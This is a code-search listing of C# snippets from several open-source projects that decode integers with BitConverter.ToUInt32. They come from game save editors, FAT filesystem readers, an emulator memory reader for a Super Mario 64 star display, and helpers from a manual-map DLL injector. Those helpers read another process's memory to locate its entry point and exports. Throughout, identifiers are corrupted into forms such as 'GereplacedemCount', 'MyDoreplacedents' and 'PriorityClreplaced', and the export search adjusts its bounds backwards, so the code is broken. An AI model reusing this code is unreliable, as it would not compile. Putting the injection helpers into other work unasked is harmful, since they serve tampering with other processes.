                    steamID3 = BitConverter.ToUInt32(byteSteamID64, 0);
                    textBoxSteamID3.Text = steamID3.ToString();

                    steamID64 = BitConverter.ToUInt64(byteSteamID64, 0);
                    textBoxSteamID64.Text = steamID64.ToString();
#if DEBUG
                    Console.WriteLine("Read: " + BitConverter.ToString(byteSteamID64));
                    Console.WriteLine("SteamID3: " + steamID3.ToString());
                    Console.WriteLine("SteamID64: " + steamID64.ToString());
#endif

                    // Misc
                    textBoxWorkingFile.Text = filePath;
                    textBoxWorkingFile.SelectionStart = textBoxWorkingFile.TextLength;
                    toolStripStatusLabel1.Text = "Read from " + Path.GetFileName(filePath) + ": " + BitConverter.ToString(byteSteamID64);
                    lastStatus = toolStripStatusLabel1.Text;

                    // Check if a new ID is already written, and if so, enable the button
                    if (String.IsNullOrWhiteSpace(textBoxSteamID64_New.Text) == false && String.IsNullOrWhiteSpace(filePath) == false && textBoxSteamID64_New.Text != textBoxSteamID64.Text)
                    {
                        buttonUpdate.Enabled = true;
                    }
                    else
                    {
                        buttonUpdate.Enabled = false;
                    }
                } catch (Exception ex)
                {
                    throw ex;
                }
            }

        }

19 View Source File : Form_SteamID64_Editor.cs
License : MIT License
Project Creator : Aemony

private void WriteSteamID()
        {
            steamID64 = Convert.ToUInt64(textBoxSteamID64_New.Text);
            byteSteamID64 = BitConverter.GetBytes(steamID64);
            steamID3 = BitConverter.ToUInt32(byteSteamID64, 0); // Relies on byteSteamID64 having been updated. 

#if DEBUG
            Console.WriteLine("New bytes: " + BitConverter.ToString(byteSteamID64));
            Console.WriteLine("New SteamID3: " + steamID3.ToString());
            Console.WriteLine("New SteamID64: " + steamID64.ToString());
#endif

            // SteamID64 is stored as Little-Endian in the files, but as Intel is little-endian as well no reversal is needed

            try
            {
                // Create a backup first
                File.Copy(filePath, filePath + DateTime.Now.ToString("_yyyy-MM-dd_HH-mm-ss.bak"));

                // Now overwrite the data
                using (Stream stream = File.Open(filePath, FileMode.Open, FileAccess.Write))
                {
                    stream.Position = fileOffset;
                    stream.Write(byteSteamID64, 0, 8);
                }

                textBoxSteamID3.Text = steamID3.ToString();
                textBoxSteamID64.Text = steamID64.ToString();
                toolStripStatusLabel1.Text = "Wrote to " + Path.GetFileName(filePath) + ": " + BitConverter.ToString(byteSteamID64);
                lastStatus = toolStripStatusLabel1.Text;
                buttonUpdate.Enabled = false;

            }
            catch (Exception ex)
            {
                throw ex;
            }

        }

19 View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : Aemony

private void buttonOpen_Click(object sender, EventArgs e)
        {
            DialogResult dialogResult = DialogResult.Yes;

            if (_filePath == null && fastObjectListView1.GereplacedemCount() > 0)
            {
                dialogResult = MessageBox.Show("You already have an inventory list imported. Opening a slot file will discard all unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
            }
            else if (_filePath != null)
            {
                dialogResult = MessageBox.Show("You already have a file opened. Opening another will discard all unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
            }

            if (dialogResult == DialogResult.Yes)
            {
                OpenFileDialog openFileDialog = new OpenFileDialog
                {
                    InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + "\\My Games\\NieR_Automata",
                    Filter = "Save File (SlotData_#.dat)|SlotData_*.dat",
                    replacedle = "Open slot file"
                };

                if (openFileDialog.ShowDialog() == DialogResult.OK)
                {
                    _filePath = openFileDialog.FileName;
                    textBoxFilePath.Text = _filePath;
                    textBoxFilePath.SelectionStart = textBoxFilePath.Text.Length;
                    // Ensure that the view is empty
                    fastObjectListView1.ClearObjects();
                    fastObjectListView2.ClearObjects();

                    // Read the file
                    using (Stream stream = openFileDialog.OpenFile())
                    {
                        stream.Position = _intBlockOffset;
                        stream.Read(_byteInventory, 0, _intBlockLength);
                    }

                    // Populate the active/main inventory
                    for (int i = 0; i < 256; i++)
                    {
                        _itemInventoryActive[i] = new Item
                        {
                            Slot = i,
                            ID = BitConverter.ToUInt32(_byteInventory, i * 12),
                            Status = BitConverter.ToUInt32(_byteInventory, i * 12 + 4),
                            Amount = BitConverter.ToUInt32(_byteInventory, i * 12 + 8)
                        };
                    }

                    // Populate the inactive/corpse inventory
                    for (int i = 256; i < 512; i++)
                    {
                        _itemInventoryCorpse[i - 256] = new Item
                        {
                            Slot = i - 256,
                            ID = BitConverter.ToUInt32(_byteInventory, i * 12),
                            Status = BitConverter.ToUInt32(_byteInventory, i * 12 + 4),
                            Amount = BitConverter.ToUInt32(_byteInventory, i * 12 + 8)
                        };
                    }

#if DEBUG
                Console.WriteLine("Read:");
                Console.WriteLine(BitConverter.ToString(_byteInventory));
#endif
                    
                    // Populate the view
                    fastObjectListView1.SetObjects(_itemInventoryActive);
                    fastObjectListView2.SetObjects(_itemInventoryCorpse);

                    // Enable the buttons
                    buttonSave.Enabled = true;
                    buttonResetActive.Enabled = true;
                    buttonResetCorpse.Enabled = true;
                    buttonExport.Enabled = true;

                    // Finally update the background stuff to reflect the new file
                    _byteInventoryImportedActive = null;
                    _byteInventoryImportedCorpse = null;
                    textBoxInventoryPath.Text = "No inventory list imported...";
                }
            }
        }

19 View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : Aemony

private void buttonResetActive_Click(object sender, EventArgs e)
        {
            DialogResult dialogResult;

            if (_byteInventoryImportedCorpse != null)
            {
                dialogResult = MessageBox.Show("You currently have an imported inventory list active. Resetting will discard the imported inventory list and any unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
            }
            else
            {
                dialogResult = MessageBox.Show("Are you sure you want to reset your changes?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
            }

            if (dialogResult == DialogResult.Yes)
            {
                // Empty the imported inventory list, if one is loaded
                _byteInventoryImportedActive = null;

                fastObjectListView1.ClearObjects();
                for (int i = 0; i < 256; i++)
                {
                    _itemInventoryActive[i] = new Item
                    {
                        Slot = i,
                        ID = BitConverter.ToUInt32(_byteInventory, i * 12),
                        Status = BitConverter.ToUInt32(_byteInventory, i * 12 + 4),
                        Amount = BitConverter.ToUInt32(_byteInventory, i * 12 + 8)
                    };
                }
                fastObjectListView1.SetObjects(_itemInventoryActive);

                if (_byteInventoryImportedActive == null && _byteInventoryImportedCorpse == null)
                {
                    textBoxInventoryPath.Text = "No inventory list imported...";
                }
            }
        }

19 View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : Aemony

private void buttonResetCorpse_Click(object sender, EventArgs e)
        {
            DialogResult dialogResult;

            if (_byteInventoryImportedCorpse != null)
            {
                dialogResult = MessageBox.Show("You currently have an imported inventory list active. Resetting will discard the imported inventory list and and any unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
            } else
            {
                dialogResult = MessageBox.Show("Are you sure you want to reset your changes?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
            }

            if (dialogResult == DialogResult.Yes)
            {
                // Empty the imported inventory list, if one is loaded
                _byteInventoryImportedCorpse = null;

                fastObjectListView2.ClearObjects();
                for (int i = 256; i < 512; i++)
                {
                    _itemInventoryCorpse[i - 256] = new Item
                    {
                        Slot = i - 256,
                        ID = BitConverter.ToUInt32(_byteInventory, i * 12),
                        Status = BitConverter.ToUInt32(_byteInventory, i * 12 + 4),
                        Amount = BitConverter.ToUInt32(_byteInventory, i * 12 + 8)
                    };
                }
                fastObjectListView2.SetObjects(_itemInventoryCorpse);

                if (_byteInventoryImportedActive == null && _byteInventoryImportedCorpse == null)
                {
                    textBoxInventoryPath.Text = "No inventory list imported...";
                }
            }
        }

19 View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : Aemony

private void buttonImport_Click(object sender, EventArgs e)
        {
            DialogResult dialogResult = DialogResult.Yes;

            if (_filePath != null && fastObjectListView1.GereplacedemCount() > 0)
            {
                dialogResult = MessageBox.Show("You already have a slot file opened. Importing an inventory list will overwrite the one from the slot file and discard any unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
            } else if (_byteInventoryImportedActive != null || _byteInventoryImportedCorpse != null)
            {
                dialogResult = MessageBox.Show("You already have an inventory list imported. Importing another will discard any unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
            }

            if(dialogResult == DialogResult.Yes)
            {
                OpenFileDialog openFileDialog = new OpenFileDialog
                {
                    InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + "\\My Games\\NieR_Automata",
                    Filter = "Binary Data (*.bin)|*.bin|All Files|*",
                    replacedle = "Import inventory to editor",
                    FileName = "inventory.bin"
                };

                if (openFileDialog.ShowDialog() == DialogResult.OK)
                {
                    FileInfo fileInfo = new FileInfo(openFileDialog.FileName);

                    if(fileInfo.Length == _intBlockLength)
                    {
                        // Initialize the array if it isn't
                        if (_byteInventoryImportedActive == null)
                        {
                            _byteInventoryImportedActive = new byte[_intBlockLength/2];
                        }
                        if (_byteInventoryImportedCorpse == null)
                        {
                            _byteInventoryImportedCorpse = new byte[_intBlockLength/2];
                        }

                        // Read file
                        using (Stream stream = openFileDialog.OpenFile())
                        {
                            stream.Position = 0;
                            stream.Read(_byteInventoryImportedActive, 0, _intBlockLength/2);
                            stream.Read(_byteInventoryImportedCorpse, 0, _intBlockLength/2);
                        }

                        // Populate the active/main inventory
                        for (int i = 0; i < 256; i++)
                        {
                            _itemInventoryActive[i] = new Item
                            {
                                Slot = i,
                                ID = BitConverter.ToUInt32(_byteInventoryImportedActive, i * 12),
                                Status = BitConverter.ToUInt32(_byteInventoryImportedActive, i * 12 + 4),
                                Amount = BitConverter.ToUInt32(_byteInventoryImportedActive, i * 12 + 8)
                            };
                        }

                        // Populate the inactive/corpse inventory
                        for (int i = 0; i < 256; i++)
                        {
                            _itemInventoryCorpse[i] = new Item
                            {
                                Slot = i,
                                ID = BitConverter.ToUInt32(_byteInventoryImportedCorpse, i * 12),
                                Status = BitConverter.ToUInt32(_byteInventoryImportedCorpse, i * 12 + 4),
                                Amount = BitConverter.ToUInt32(_byteInventoryImportedCorpse, i * 12 + 8)
                            };
                        }

#if DEBUG
                Console.WriteLine("Read:");
                        Console.WriteLine(BitConverter.ToString(_byteInventoryImportedActive) + BitConverter.ToString(_byteInventoryImportedCorpse));
#endif

                        // Ensure that the view is empty
                        fastObjectListView1.ClearObjects();
                        fastObjectListView2.ClearObjects();

                        // Populate the view
                        fastObjectListView1.SetObjects(_itemInventoryActive);
                        fastObjectListView2.SetObjects(_itemInventoryCorpse);

                        // Enable the buttons
                        buttonExport.Enabled = true;

                        // List the path
                        textBoxInventoryPath.Text = openFileDialog.FileName;
                        textBoxInventoryPath.SelectionStart = openFileDialog.FileName.Length;
                    }
                    else
                    {
                        MessageBox.Show("Wrong size of the file you are trying to import!", "Import canceled", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
            }
        }

19 View Source File : ManualMap.cs
License : Apache License 2.0
Project Creator : aequabit

private static uint FindEntryPoint(IntPtr hProcess, IntPtr hModule)
        {
            if (hProcess.IsNull() || hProcess.Compare(-1L))
            {
                throw new ArgumentException("Invalid process handle.", "hProcess");
            }
            if (hModule.IsNull())
            {
                throw new ArgumentException("Invalid module handle.", "hModule");
            }
            byte[] buffer = WinAPI.ReadRemoteMemory(hProcess, hModule, (uint) Marshal.SizeOf(typeof(IMAGE_DOS_HEADER)));
            if (buffer != null)
            {
                ushort num = BitConverter.ToUInt16(buffer, 0);
                uint num2 = BitConverter.ToUInt32(buffer, 60);
                if (num == 0x5a4d)
                {
                    byte[] buffer2 = WinAPI.ReadRemoteMemory(hProcess, hModule.Add((long) num2), (uint) Marshal.SizeOf(typeof(IMAGE_NT_HEADER32)));
                    if ((buffer2 != null) && (BitConverter.ToUInt32(buffer2, 0) == 0x4550))
                    {
                        IMAGE_NT_HEADER32 result = new IMAGE_NT_HEADER32();
                        using (UnmanagedBuffer buffer3 = new UnmanagedBuffer(0x100))
                        {
                            if (buffer3.Translate<IMAGE_NT_HEADER32>(buffer2, out result))
                            {
                                return result.OptionalHeader.AddressOfEntryPoint;
                            }
                        }
                    }
                }
            }
            return 0;
        }

19 View Source File : WinAPI.cs
License : Apache License 2.0
Project Creator : aequabit

private static int SearchExports(IntPtr hProcess, IntPtr hModule, byte[] exports, string name)
        {
            uint num = BitConverter.ToUInt32(exports, 0x18);
            uint num2 = BitConverter.ToUInt32(exports, 0x20);
            int num3 = -1;
            if ((num > 0) && (num2 > 0))
            {
                byte[] buffer = ReadRemoteMemory(hProcess, hModule.Add((long) num2), num << 2);
                if (buffer == null)
                {
                    return num3;
                }
                uint[] numArray = new uint[num];
                for (int i = 0; i < numArray.Length; i++)
                {
                    numArray[i] = BitConverter.ToUInt32(buffer, i << 2);
                }
                int num5 = 0;
                int num6 = numArray.Length - 1;
                int index = 0;
                string strA = string.Empty;
                while (((num5 >= 0) && (num5 <= num6)) && (num3 == -1))
                {
                    index = (num5 + num6) / 2;
                    strA = ReadRemoteString(hProcess, hModule.Add((long) numArray[index]), null);
                    if (strA.Equals(name))
                    {
                        num3 = index;
                    }
                    else if (string.CompareOrdinal(strA, name) < 0)
                    {
                        num5 = index - 1;
                    }
                    else
                    {
                        num6 = index + 1;
                    }
                }
            }
            return num3;
        }

19 View Source File : WinAPI.cs
License : Apache License 2.0
Project Creator : aequabit

public static IntPtr GetProcAddressEx(IntPtr hProc, IntPtr hModule, object lpProcName)
        {
            IntPtr zero = IntPtr.Zero;
            byte[] buffer = ReadRemoteMemory(hProc, hModule, 0x40);
            if ((buffer == null) || (BitConverter.ToUInt16(buffer, 0) != 0x5a4d))
            {
                return zero;
            }
            uint num = BitConverter.ToUInt32(buffer, 60);
            if (num <= 0)
            {
                return zero;
            }
            byte[] buffer2 = ReadRemoteMemory(hProc, hModule.Add((long) num), 0x108);
            if ((buffer2 == null) || (BitConverter.ToUInt32(buffer2, 0) != 0x4550))
            {
                return zero;
            }
            uint num2 = BitConverter.ToUInt32(buffer2, 120);
            uint num3 = BitConverter.ToUInt32(buffer2, 0x7c);
            if ((num2 <= 0) || (num3 <= 0))
            {
                return zero;
            }
            byte[] buffer3 = ReadRemoteMemory(hProc, hModule.Add((long) num2), 40);
            uint num4 = BitConverter.ToUInt32(buffer3, 0x1c);
            uint num5 = BitConverter.ToUInt32(buffer3, 0x24);
            uint num6 = BitConverter.ToUInt32(buffer3, 20);
            int num7 = -1;
            if ((num4 <= 0) || (num5 <= 0))
            {
                return zero;
            }
            if (lpProcName.GetType().Equals(typeof(string)))
            {
                int num8 = SearchExports(hProc, hModule, buffer3, (string) lpProcName);
                if (num8 > -1)
                {
                    byte[] buffer4 = ReadRemoteMemory(hProc, hModule.Add((long) (num5 + (num8 << 1))), 2);
                    num7 = (buffer4 == null) ? -1 : BitConverter.ToUInt16(buffer4, 0);
                }
            }
            else if (lpProcName.GetType().Equals(typeof(short)) || lpProcName.GetType().Equals(typeof(ushort)))
            {
                num7 = int.Parse(lpProcName.ToString());
            }
            if ((num7 <= -1) || (num7 >= num6))
            {
                return zero;
            }
            byte[] buffer5 = ReadRemoteMemory(hProc, hModule.Add((long) (num4 + (num7 << 2))), 4);
            if (buffer5 == null)
            {
                return zero;
            }
            uint num9 = BitConverter.ToUInt32(buffer5, 0);
            if ((num9 >= num2) && (num9 < (num2 + num3)))
            {
                string str = ReadRemoteString(hProc, hModule.Add((long) num9), null);
                if (!(string.IsNullOrEmpty(str) || !str.Contains(".")))
                {
                    zero = GetProcAddressEx(hProc, GetModuleHandleEx(hProc, str.Split(new char[] { '.' })[0]), str.Split(new char[] { '.' })[1]);
                }
                return zero;
            }
            return hModule.Add(((long) num9));
        }

19 View Source File : utils.cs
License : GNU General Public License v3.0
Project Creator : Aeroblast

public static UInt32 GetUInt32(byte[] src, ulong start)
        {
            byte[] t = SubArray(src, start, 4);
            Array.Reverse(t);
            return BitConverter.ToUInt32(t);
        }

19 View Source File : DirectoryEntry.cs
License : MIT License
Project Creator : aerosoul94

private void ReadDirectoryEntry(Platform platform, byte[] data, int offset)
        {
            this._fileNameLength = data[offset + 0];
            this._fileAttributes = data[offset + 1];

            this._fileNameBytes = new byte[42];
            Buffer.BlockCopy(data, offset + 2, this._fileNameBytes, 0, 42);

            if (platform == Platform.Xbox)
            {
                this._firstCluster = BitConverter.ToUInt32(data, offset + 0x2C);
                this._fileSize = BitConverter.ToUInt32(data, offset + 0x30);
                this._creationTimeAsInt = BitConverter.ToUInt32(data, offset + 0x34);
                this._lastWriteTimeAsInt = BitConverter.ToUInt32(data, offset + 0x38);
                this._lastAccessTimeAsInt = BitConverter.ToUInt32(data, offset + 0x3C);
                this._creationTime = new XTimeStamp(this._creationTimeAsInt);
                this._lastWriteTime = new XTimeStamp(this._lastWriteTimeAsInt);
                this._lastAccessTime = new XTimeStamp(this._lastAccessTimeAsInt);
            }
            else if (platform == Platform.X360)
            {
                Array.Reverse(data, offset + 0x2C, 4);
                this._firstCluster = BitConverter.ToUInt32(data, offset + 0x2C);
                Array.Reverse(data, offset + 0x30, 4);
                this._fileSize = BitConverter.ToUInt32(data, offset + 0x30);
                Array.Reverse(data, offset + 0x34, 4);
                this._creationTimeAsInt = BitConverter.ToUInt32(data, offset + 0x34);
                Array.Reverse(data, offset + 0x38, 4);
                this._lastWriteTimeAsInt = BitConverter.ToUInt32(data, offset + 0x38);
                Array.Reverse(data, offset + 0x3C, 4);
                this._lastAccessTimeAsInt = BitConverter.ToUInt32(data, offset + 0x3C);
                this._creationTime = new X360TimeStamp(this._creationTimeAsInt);
                this._lastWriteTime = new X360TimeStamp(this._lastWriteTimeAsInt);
                this._lastAccessTime = new X360TimeStamp(this._lastAccessTimeAsInt);
            }
        }

19 View Source File : Volume.cs
License : MIT License
Project Creator : aerosoul94

private void ReadFileAllocationTable()
        {
            _fileAllocationTable = new uint[_maxClusters];

            var fatOffset = ByteOffsetToPhysicalOffset(this._fatByteOffset);
            _reader.Seek(fatOffset);
            if (this._isFat16)
            {
                byte[] _tempFat = new byte[_maxClusters * 2];
                _reader.Read(_tempFat, (int)(_maxClusters * 2));

                if (_reader.ByteOrder == ByteOrder.Big)
                {
                    for (int i = 0; i < _maxClusters; i++)
                    {
                        Array.Reverse(_tempFat, i * 2, 2);
                    }
                }

                for (int i = 0; i < _maxClusters; i++)
                {
                    _fileAllocationTable[i] = BitConverter.ToUInt16(_tempFat, i * 2);
                }
            }
            else
            {
                byte[] _tempFat = new byte[_maxClusters * 4];
                _reader.Read(_tempFat, (int)(_maxClusters * 4));

                if (_reader.ByteOrder == ByteOrder.Big)
                {
                    for (int i = 0; i < _maxClusters; i++)
                    {
                        Array.Reverse(_tempFat, i * 4, 4);
                    }
                }

                for (int i = 0; i < _maxClusters; i++)
                {
                    _fileAllocationTable[i] = BitConverter.ToUInt32(_tempFat, i * 4);
                }
            }
        }

19 View Source File : EndianReader.cs
License : MIT License
Project Creator : aerosoul94

public override uint ReadUInt32()
        {
            var temp = new byte[4];
            Read(temp, 4);
            if (byteOrder == ByteOrder.Big)
            {
                Array.Reverse(temp);
            }
            return BitConverter.ToUInt32(temp, 0);
        }

19 View Source File : ZFrame.cs
License : Mozilla Public License 2.0
Project Creator : agebullhu

public UInt32 ReadUInt32()
        {
            var bytes = new byte[4];
            if (Read(bytes, 0, 4) < 4)
            {
                return default(UInt32);
            }

            return BitConverter.ToUInt32(bytes, 0);
        }

19 View Source File : MemoryManager.cs
License : GNU General Public License v3.0
Project Creator : aglab2

public void doMagic()
        {
            List<int> romPtrBaseSuggestions = new List<int>();
            List<int> ramPtrBaseSuggestions = new List<int>();

            var name = Process.ProcessName.ToLower();

            if (name.Contains("project64"))
            {
                DeepPointer[] ramPtrBaseSuggestionsDPtrs = { new DeepPointer("Project64.exe", 0xD6A1C),     //1.6
                    new DeepPointer("RSP 1.7.dll", 0x4C054), new DeepPointer("RSP 1.7.dll", 0x44B5C),        //2.3.2; 2.4
                };

                DeepPointer[] romPtrBaseSuggestionsDPtrs = { new DeepPointer("Project64.exe", 0xD6A2C),     //1.6
                    new DeepPointer("RSP 1.7.dll", 0x4C050), new DeepPointer("RSP 1.7.dll", 0x44B58)        //2.3.2; 2.4
                };

                // Time to generate some addesses for magic check
                foreach (DeepPointer romSuggestionPtr in romPtrBaseSuggestionsDPtrs)
                {
                    int ptr = -1;
                    try
                    {
                        ptr = romSuggestionPtr.Deref<int>(Process);
                        romPtrBaseSuggestions.Add(ptr);
                    }
                    catch (Exception)
                    {
                        continue;
                    }
                }

                foreach (DeepPointer ramSuggestionPtr in ramPtrBaseSuggestionsDPtrs)
                {
                    int ptr = -1;
                    try
                    {
                        ptr = ramSuggestionPtr.Deref<int>(Process);
                        ramPtrBaseSuggestions.Add(ptr);
                    }
                    catch (Exception)
                    {
                        continue;
                    }
                }
            }

            if (name.Contains("mupen"))
            {
                Dictionary<string, int> mupenRAMSuggestions = new Dictionary<string, int>
                {
                    { "mupen64-rerecording", 0x008EBA80 },
                    { "mupen64-pucrash", 0x00912300 },
                    { "mupen64_lua", 0x00888F60 },
                    { "mupen64-wiivc", 0x00901920 },
                    { "mupen64-RTZ", 0x00901920 },
                    { "mupen64-rrv8-avisplit", 0x008ECBB0 },
                    { "mupen64-rerecording-v2-reset", 0x008ECA90 },
                };

                ramPtrBaseSuggestions.Add(mupenRAMSuggestions[name]);
            }

            Dictionary<string, int> offsets = new Dictionary<string, int>
            {
                { "Project64", 0 },
                { "Project64d", 0 },
                { "mupen64-rerecording", 0x20 },
                { "mupen64-pucrash", 0x20 },
                { "mupen64_lua", 0x20 },
                { "mupen64-wiivc", 0x20 },
                { "mupen64-RTZ", 0x20 },
                { "mupen64-rrv8-avisplit", 0x20 },
                { "mupen64-rerecording-v2-reset", 0x20 },
                { "retroarch", 0x40 },
            };

            // Process.ProcessName;
            mm = new MagicManager(Process, romPtrBaseSuggestions.ToArray(), ramPtrBaseSuggestions.ToArray(), offsets[Process.ProcessName]);

            isDecomp = mm.isDecomp;
            verificationPtr = new IntPtr(mm.ramPtrBase + mm.verificationOffset);
            verificationData = mm.verificationBytes;
            igtPtr = new IntPtr(mm.ramPtrBase + 0x32D580);

            // Can be found using bzero
            filesPtr = new IntPtr[4];
            filesPtr[0] = new IntPtr(mm.ramPtrBase + mm.saveBufferOffset + mm.saveFileSize * 2 * 0);
            filesPtr[1] = new IntPtr(mm.ramPtrBase + mm.saveBufferOffset + mm.saveFileSize * 2 * 1);
            filesPtr[2] = new IntPtr(mm.ramPtrBase + mm.saveBufferOffset + mm.saveFileSize * 2 * 2);
            filesPtr[3] = new IntPtr(mm.ramPtrBase + mm.saveBufferOffset + mm.saveFileSize * 2 * 3);

            levelPtr = new IntPtr(mm.ramPtrBase + 0x32DDFA);
            areaPtr = new IntPtr(mm.ramPtrBase + 0x33B249);
            starImagePtr = new IntPtr(mm.ramPtrBase + 0x064F80 + 0x04800);
            redsPtr = new IntPtr(mm.ramPtrBase + 0x3613FD);

            selectedStarPtr = new IntPtr(mm.ramPtrBase + 0x1A81A3);

            romPtr = new IntPtr(mm.romPtrBase + 0);
            romCRCPtr = new IntPtr(mm.romPtrBase + 0x10);

            spawnPointPtr = new IntPtr(mm.ramPtrBase + 0x33B248);
            hpPtr = new IntPtr(mm.ramPtrBase + 0x33B21C);
            menuModifierPtr = new IntPtr(mm.ramPtrBase + 0x33B23A);
            spawnStatusPtr = new IntPtr(mm.ramPtrBase + 0x33B24B);
            igtigtPtr = new IntPtr(mm.ramPtrBase + 0x33B26A);
            levelSpawnPtr = new IntPtr(mm.ramPtrBase + 0x33B24A);

            starsCountPtr = new IntPtr(mm.ramPtrBase + 0x33B218);
            bank13RamStartPtr = new IntPtr(mm.ramPtrBase + 0x33B400 + 4 * 0x13);

            marioObjectPtr = new IntPtr(mm.ramPtrBase + 0x361158);

            var data = Resource.NetBin;
            netMagicPtr = new IntPtr(mm.ramPtrBase + 0x26004);
            netCodePtr = new IntPtr(mm.ramPtrBase + 0x26000);
            netHookPtr = new IntPtr(mm.ramPtrBase + 0x38a3c + 0x245000); // 0x5840c
            netStatesOff = BitConverter.ToUInt32(data, 8) - 0x80000000;

            bool wreplacedet = false;
            if (!wreplacedet)
            {
                try
                {
                    Process.PriorityClreplaced = ProcessPriorityClreplaced.High;
                    wreplacedet = true;
                }
                catch (Exception) { }
            }
            try
            {
                using (Process p = Process.GetCurrentProcess())
                    p.PriorityClreplaced = ProcessPriorityClreplaced.BelowNormal;
            }
            catch (Exception) { }
        }

19 View Source File : ProcessExtensions.cs
License : GNU General Public License v3.0
Project Creator : aglab2

static object ResolveToType(byte[] bytes, Type type)
        {
            object val;

            if (type == typeof(int))
            {
                val = BitConverter.ToInt32(bytes, 0);
            }
            else if (type == typeof(uint))
            {
                val = BitConverter.ToUInt32(bytes, 0);
            }
            else if (type == typeof(float))
            {
                val = BitConverter.ToSingle(bytes, 0);
            }
            else if (type == typeof(double))
            {
                val = BitConverter.ToDouble(bytes, 0);
            }
            else if (type == typeof(byte))
            {
                val = bytes[0];
            }
            else if (type == typeof(bool))
            {
                if (bytes == null)
                    val = false;
                else
                    val = (bytes[0] != 0);
            }
            else if (type == typeof(short))
            {
                val = BitConverter.ToInt16(bytes, 0);
            }
            else // probably a struct
            {
                var handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
                try
                {
                    val = Marshal.PtrToStructure(handle.AddrOfPinnedObject(), type);
                }
                finally
                {
                    handle.Free();
                }
            }

            return val;
        }

19 View Source File : ProcessExtensions.cs
License : GNU General Public License v3.0
Project Creator : aglab2

public static uint ToUInt32Bits(this float f)
        {
            return BitConverter.ToUInt32(BitConverter.GetBytes(f), 0);
        }

19 View Source File : MemoryManager.cs
License : GNU General Public License v3.0
Project Creator : aglab2

public int SearchObjects(UInt32 searchBehaviour)
        {
            int count = 0;

            UInt32 address = 0x33D488;

            for (int i = 0; i < 300 /*obj limit*/; i++)
            {
                IntPtr currentObjectPtr = new IntPtr(mm.ramPtrBase + (int)address);
                byte[] data = Process.ReadBytes(currentObjectPtr, 0x260);
                if (data is null)
                    break;

                UInt32 active = BitConverter.ToUInt32(data, 0x74);
                if (active != 0)
                {
                    UInt32 intparam = BitConverter.ToUInt32(data, 0x180);
                    UInt32 behaviour = BitConverter.ToUInt32(data, 0x20C);
                    UInt32 scriptParameter = BitConverter.ToUInt32(data, 0x0F0);

                    if (behaviour == searchBehaviour)
                    {
                        count++;
                    }
                }

                address = BitConverter.ToUInt32(data, 0x8) & 0x7FFFFFFF;
                if (address == 0x33D488 || address == 0)
                    break;
            }
            return count;
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : aglab2

static void Main(string[] args)
        {
            uint[] mem;
            {
                byte[] bytes = File.ReadAllBytes("C:\\Data\\SM64StarDisplay\\ram_dump\\ze.bin");
                int size = bytes.Count() / 4;
                mem = new uint[size];
                for (int idx = 0; idx < size; idx++)
                {
                    byte[] dataInt = new byte[4];
                    dataInt[0] = bytes[3 + 4 * idx];
                    dataInt[1] = bytes[2 + 4 * idx];
                    dataInt[2] = bytes[1 + 4 * idx];
                    dataInt[3] = bytes[0 + 4 * idx];
                    mem[idx] = BitConverter.ToUInt32(dataInt, 0);
                }
            }

            DecompManager dm = new DecompManager(mem);
            Console.WriteLine($"gSaveBuffer={dm.gSaveBuffer:X} gSaveBufferSize={dm.gSaveBufferSize:X}");
        }

19 View Source File : MemoryManager.cs
License : GNU General Public License v3.0
Project Creator : aglab2

public int SearchObjects(UInt32 searchBehaviour, UInt32 state)
        {
            int count = 0;

            UInt32 address = 0x33D488;

            for (int i = 0; i < 300 /*obj limit*/; i++)
            {
                IntPtr currentObjectPtr = new IntPtr(mm.ramPtrBase + (int)address);
                byte[] data = Process.ReadBytes(currentObjectPtr, 0x260);
                if (data is null)
                    break;

                UInt32 active = BitConverter.ToUInt32(data, 0x74);
                if (active != 0)
                {
                    UInt32 intparam = BitConverter.ToUInt32(data, 0x180);
                    UInt32 behaviour = BitConverter.ToUInt32(data, 0x20C);
                    UInt32 scriptParameter = BitConverter.ToUInt32(data, 0x0F0);

                    //Console.Write("{0:X8}({1:X8}) ", behaviourActive1, scriptParameter);

                    if (behaviour == searchBehaviour && scriptParameter == state)
                    {
                        count++;
                    }
                }

                address = BitConverter.ToUInt32(data, 0x8) & 0x7FFFFFFF;
                if (address == 0x33D488 || address == 0)
                    break;
            }
            //Console.WriteLine();
            return count;
        }

19 View Source File : ProcessExtensions.cs
License : GNU General Public License v3.0
Project Creator : aglab2

public static bool ReadPointer(this Process process, IntPtr addr, bool is64Bit, out IntPtr val)
        {
            var bytes = new byte[is64Bit ? 8 : 4];

            SizeT read;
            val = IntPtr.Zero;
            if (!WinAPI.ReadProcessMemory(process.Handle, addr, bytes, (SizeT)bytes.Length, out read)
                || read != (SizeT)bytes.Length)
                return false;

            val = is64Bit ? (IntPtr)BitConverter.ToInt64(bytes, 0) : (IntPtr)BitConverter.ToUInt32(bytes, 0);

            return true;
        }

19 View Source File : File.cs
License : GNU General Public License v3.0
Project Creator : ahmed605

public bool Open(string filename)
        {
            Header = new Header(this);
            TOC = new TOC(this);
            _filename = filename;

            bool encrypted = false;

            _stream = new FileStream(filename, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite);

